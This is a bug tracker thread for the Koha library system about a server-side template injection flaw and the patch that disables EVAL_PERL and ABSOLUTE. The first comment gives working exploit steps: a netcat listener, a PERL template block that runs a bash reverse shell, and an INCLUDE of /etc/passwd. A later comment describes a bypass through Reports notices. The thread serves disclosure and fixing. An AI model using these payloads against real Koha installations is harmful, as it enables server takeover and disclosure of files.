Koha 24.05.04.000 is vulnerable to authenticated Server-Side Template Injection, leading to Remote Code Execution. Set up a listener with: nc -lnvp 80 Navigate to the Welcome email template at: /cgi-bin/koha/tools/letter.pl?op=add_form&branchcode=&module=members&code=WELCOME Within the email template enter the following: [% PERL %] system('echo "/bin/bash -i >& /dev/tcp/127.0.0.1/80 0>&1" > /tmp/bash.sh'); system('chmod +x /tmp/bash.sh'); system('bash /tmp/bash.sh'); [% END %] Click the 'Save' dropdown menu, and then click 'Save and continue editing'. The listener will receive a shell from the application, compromising the underlying server. Additionally, it's possible to leverage the email template in a similar way to achieve Local File Inclusion (LFI): Within the email template enter the following: [% INCLUDE '/etc/passwd' %] Navigate to a patron members profile: /cgi-bin/koha/members/notices.pl?borrowernumber= Click the 'More' dropdown menu, and then click 'Send welcome notice'. Then click the sent notice to preview the message, the contents of /etc/passwd is visible.
The naive and obvious patch, --- a/C4/Letters.pm +++ b/C4/Letters.pm @@ -1786,8 +1786,8 @@ sub _process_tt { my $use_template_cache = C4::Context->config('template_cache_dir') && defined $ENV{GATEWAY_INTERFACE}; my $template = Template->new( { - EVAL_PERL => 1, - ABSOLUTE => 1, + EVAL_PERL => 0, + ABSOLUTE => 0, PLUGIN_BASE => 'Koha::Template::Plugin', COMPILE_EXT => $use_template_cache ? '.ttc' : '', COMPILE_DIR => $use_template_cache ? C4::Context->config('template_cache_dir') : '', (which could just remove both lines, they're off by default, but explicitly saying we want them off is better) does work, but what does the test plan look like, and how many support providers have given a client what they wanted by writing a little [% PERL %] block that we won't know about until we silently break a notice in a security release?
This one is technically a duplicate of bug 26663 which I raised back in 2020. Unfortunately, that report went off the rails, because we couldn't get consensus on the approach. Personally, I disable ABSOLUTE and EVAL_PERL for this very reason for the Koha instances that I manage.
I'm actually tempted to mark bug 26663 as the duplicate just to give us a fresh start here...
But scope-creep is so much fun! Exfiltrating /etc/passwd in an actual notice is so early 2023: with 23.11+, you can avoid worrying that your notice will be sent to a real patron while you have the notice template edited to include it by instead creating a "notice" template for the Reports module. And since those are processed by Koha/TemplateUtils.pm, you can still get away with it after someone patches C4/Letters.pm to disallow EVAL_PERL and ABSOLUTE.
(In reply to Phil Ringnalda from comment #4) > But scope-creep is so much fun! So much fun! > Exfiltrating /etc/passwd in an actual notice is so early 2023: with 23.11+, > you can avoid worrying that your notice will be sent to a real patron while > you have the notice template edited to include it by instead creating a > "notice" template for the Reports module. And since those are processed by > Koha/TemplateUtils.pm, you can still get away with it after someone patches > C4/Letters.pm to disallow EVAL_PERL and ABSOLUTE. Yeah that's a good point. Shall we have another crack at fixing this?
Created attachment 178889 [details] [review] Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates This change turns off ABSOLUTE and EVAL_PERL for user-entered templates, as these options can allow for arbitrary code execution and information disclosure. Test plan: 0. Apply the patch 1. koha-plack --restart kohadev 2. Create a Notice for Reports with a report like: [% IF ( x == 1 ) %] One [% ELSE %] Two [% END %] 3. Run a report using this template 4. The report should show "Two" 5. Turn on CHECKOUT emails for a test patron 6. Perform a checkout 7. Look at the CHECKOUT email and note that the email body is correctly generated
(In reply to Phil Ringnalda from comment #1) > (which could just remove both lines, they're off by default, but explicitly > saying we want them off is better) does work, but what does the test plan > look like, and how many support providers have given a client what they > wanted by writing a little [% PERL %] block that we won't know about until > we silently break a notice in a security release? Fortunately, based on my testing, it will break very loudly for standard (ie email/sms/print) notices. The report notices will silently break. But I think support providers who've done this just need to suck it up. The Template::Toolkit MACROs are very powerful, and if they're not enough... then I'd say a custom Template::Toolkit plugin would be the shortest path to a fix for them.
FWIW, the patch I'd like to see would be <enable_eval_perl_letters> and <enable_eval_perl_utils> in koha-conf.xml plus the bug 27759 comment 4 thing of passing a list of directories to put into INCLUDE_PATH so nobody needs to enable ABSOLUTE. But what it's worth is not much since I don't know how to write the patch to pass a list out of koha-conf.xml. I'm not using either one, but I'd like that better since according to bug 26663 ByWater's been using EVAL_PERL, and my production install is on ByWater, so a security release that absolutely forbids EVAL_PERL and requires rewriting uses of it as TT plugins means that security release isn't going to make it to my install in a timely manner.
(In reply to Phil Ringnalda from comment #9) > FWIW, the patch I'd like to see would be <enable_eval_perl_letters> and > <enable_eval_perl_utils> in koha-conf.xml plus the bug 27759 comment 4 thing > of passing a list of directories to put into INCLUDE_PATH so nobody needs to > enable ABSOLUTE. But what it's worth is not much since I don't know how to > write the patch to pass a list out of koha-conf.xml. > > I'm not using either one, but I'd like that better since according to bug > 26663 ByWater's been using EVAL_PERL, and my production install is on > ByWater, so a security release that absolutely forbids EVAL_PERL and > requires rewriting uses of it as TT plugins means that security release > isn't going to make it to my install in a timely manner. I think that I understand. It goes against my hardliner nature, but I suppose that Koha does have precedents for allowing insecure configurations. The patch I've attached is based off my own systems, but I suppose I wouldn't stand in the way of what you describe. And that bit for the INCLUDE_PATH sounds like it could be potentially useful.
(In reply to David Cook from comment #10) > (In reply to Phil Ringnalda from comment #9) > > FWIW, the patch I'd like to see would be <enable_eval_perl_letters> and > > <enable_eval_perl_utils> in koha-conf.xml plus the bug 27759 comment 4 thing > > of passing a list of directories to put into INCLUDE_PATH so nobody needs to > > enable ABSOLUTE. But what it's worth is not much since I don't know how to > > write the patch to pass a list out of koha-conf.xml. > > > > I'm not using either one, but I'd like that better since according to bug > > 26663 ByWater's been using EVAL_PERL, and my production install is on > > ByWater, so a security release that absolutely forbids EVAL_PERL and > > requires rewriting uses of it as TT plugins means that security release > > isn't going to make it to my install in a timely manner. > > I think that I understand. It goes against my hardliner nature, but I > suppose that Koha does have precedents for allowing insecure configurations. > > The patch I've attached is based off my own systems, but I suppose I > wouldn't stand in the way of what you describe. And that bit for the > INCLUDE_PATH sounds like it could be potentially useful. Should the current patch be signed off, or should we scrap it and wait for a patch that takes care of comment 9?
(In reply to Magnus Enger from comment #11) > Should the current patch be signed off, or should we scrap it and wait for a > patch that takes care of comment 9? Sounds like bug 26663 all over again. I fixed my own systems with these patches 5 years ago, and I'd recommend them. If these patches break people's setups, they should fix their templates manually or make their own local customizations to allow the insecure configuration. @Craig I suggest you raise a CVE for this one and let us know the number so we can add it to the report title.
Created attachment 180292 [details] [review] Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates This change turns off ABSOLUTE and EVAL_PERL for user-entered templates, as these options can allow for arbitrary code execution and information disclosure. Test plan: 0. Apply the patch 1. koha-plack --restart kohadev 2. Create a Notice for Reports with a report like: [% IF ( x == 1 ) %] One [% ELSE %] Two [% END %] 3. Run a report using this template 4. The report should show "Two" 5. Turn on CHECKOUT emails for a test patron 6. Perform a checkout 7. Look at the CHECKOUT email and note that the email body is correctly generated Signed-off-by: Magnus Enger <magnus@libriotech.no> Would be good to have this fixed as the default.
(In reply to David Cook from comment #12) > Sounds like bug 26663 all over again. I fixed my own systems with these > patches 5 years ago, and I'd recommend them. If these patches break people's > setups, they should fix their templates manually or make their own local > customizations to allow the insecure configuration. 100% agree.
Looking here
Created attachment 182510 [details] [review] Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates This change turns off ABSOLUTE and EVAL_PERL for user-entered templates, as these options can allow for arbitrary code execution and information disclosure. Test plan: 0. Apply the patch 1. koha-plack --restart kohadev 2. Create a Notice for Reports with a report like: [% IF ( x == 1 ) %] One [% ELSE %] Two [% END %] 3. Run a report using this template 4. The report should show "Two" 5. Turn on CHECKOUT emails for a test patron 6. Perform a checkout 7. Look at the CHECKOUT email and note that the email body is correctly generated Signed-off-by: Magnus Enger <magnus@libriotech.no> Would be good to have this fixed as the default. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> The test plan should include PERL blocks or absolute paths! Tested those instead. Testing x==1 seems irrelevant. I tried:[% PERL %]print 1;[% END %] and [% INCLUDE /app/Dockerfile_1 %]
QA Comment: Good to start this up again. But we are not finished yet. For the test plan, see commit message. I think we should do something like: EVAL_PERL => C4::Context->config('template_eval_perl') || 0, ABSOLUTE => C4::Context->config('template_absolute_path') || 0, And adjust all locations. Including C4/Letters.pm C4/Templates.pm Koha/Plugins/Base.pm Koha/TemplateUtils.pm misc/devel/tidy.pl xt/author/valid-templates.t But note that this cannot be done without converting some absolute paths to relative paths in Templates module and others. So it needs a bit more work.
(In reply to Marcel de Rooy from comment #17) > QA Comment: > Good to start this up again. But we are not finished yet. > > For the test plan, see commit message. Yeah that's weird. I've definitely done test plans in the past with PERL and absolute paths. I guess I just wanted to prove that a regular template would work here. > I think we should do something like: > EVAL_PERL => C4::Context->config('template_eval_perl') || 0, > ABSOLUTE => C4::Context->config('template_absolute_path') || 0, But there's never a good reason to have them? They're always a security vulnerability in the context of unsanitized user input. > And adjust all locations. Including > C4/Letters.pm > C4/Templates.pm > Koha/Plugins/Base.pm > Koha/TemplateUtils.pm > misc/devel/tidy.pl xt/author/valid-templates.t > > But note that this cannot be done without converting some absolute paths to > relative paths in Templates module and others. So it needs a bit more work. I don't think it's necessary for C4/Templates.pm and Koha/Plugins/Base.pm because these are trusted code paths. C4/Letters.pm and Koha/TemplateUtils.pm need it because anyone with access to that part of the admin interface can then execute arbitrary code when they shouldn't. But Koha devs provide teh templates for C4/Templates.pm and we're already trusting plugin authors with the Perl code. The templates would be the least of our problems for Koha/Plugins/Base.pm.
Can someone provide a step by step test plan for the RMaints please on how to check that the security problem is fixed? I see the short note from Marcel, but something a bit more detailed. Alternatively post on the security channel.
Applied to 24.05.x-security
Applied to 23.11.x-security
Not backporting to 22.11 unless requested
*** Bug 27759 has been marked as a duplicate of this bug. ***
*** Bug 26663 has been marked as a duplicate of this bug. ***